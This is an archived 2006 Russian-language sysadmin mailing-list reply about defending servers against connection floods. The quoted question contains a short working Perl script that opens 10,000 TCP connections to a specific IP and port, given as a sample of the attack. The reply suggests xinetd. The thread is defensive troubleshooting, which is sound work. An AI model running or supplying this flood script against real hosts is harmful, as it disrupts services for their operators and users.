ALT Linux sysadmins discussion
 help / color / mirror / Atom feed
From: Serge <skompan@kspu.kr.ua>
To: ALT Linux sysadmin discuss <sysadmins@lists.altlinux.org>
Subject: Re: [Sysadmins] [Sysamdins]Меня досют.
Date: Sat, 21 Oct 2006 18:33:33 +0300
Message-ID: <200610211833.33214.skompan@kspu.kr.ua> (raw)
In-Reply-To: <453A3C7D.9040103@gmail.com>

В сообщении от Суббота 21 Октябрь 2006 18:27 Kaydannik Alex написал(a):
> На сервисы сервера,как станартные(апач)таки специфические  ( самописные ) 
> открывают по 10000 коннектов. Злостные враги используют элементарные
> скрипты вроде
> ----------------------
>
> #!/usr/bin/perl
> use Socket;
> $remote="195.248.173.111";
> $port = 5003;
> $i=10000;
> for (1..$i) {
> $iaddr = inet_aton($remote);
> $paddr = sockaddr_in($port, $iaddr);
> $proto = getprotobyname('tcp');
> socket(SOCK.$_, PF_INET, SOCK_STREAM, $proto);
> connect(SOCK.$_, $paddr);
> print "[$_]Connected\n";
> };
> ----------------------
> Вопрос: Чем можно ограничить число установленных подключений или попыток
> установить подключение с одного IP адреса?
>
> Где читать ? Как защищаться? iplimit из POMа не предлагать - нет
> возможности пересобрать ядро. iptables & limit тоже не подойдет.
xinetd?


  reply	other threads:[~2006-10-21 15:33 UTC|newest]

Thread overview: 6+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2006-10-21 15:27 Kaydannik Alex
2006-10-21 15:33 ` Serge [this message]
2006-10-21 21:55 ` Michael Shigorin
2006-10-24  7:29   ` Kaydannik Alex
2006-10-24  9:46     ` Michael Shigorin
2006-10-24 10:18       ` Kaydannik Alex

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=200610211833.33214.skompan@kspu.kr.ua \
    --to=skompan@kspu.kr.ua \
    --cc=sysadmins@lists.altlinux.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link

ALT Linux sysadmins discussion

This inbox may be cloned and mirrored by anyone:

	git clone --mirror http://lore.altlinux.org/sysadmins/0 sysadmins/git/0.git

	# If you have public-inbox 1.1+ installed, you may
	# initialize and index your mirror using the following commands:
	public-inbox-init -V2 sysadmins sysadmins/ http://lore.altlinux.org/sysadmins \
		sysadmins@lists.altlinux.org sysadmins@lists.altlinux.ru sysadmins@lists.altlinux.com
	public-inbox-index sysadmins

Example config snippet for mirrors.
Newsgroup available over NNTP:
	nntp://lore.altlinux.org/org.altlinux.lists.sysadmins


AGPL code for this site: git clone https://public-inbox.org/public-inbox.git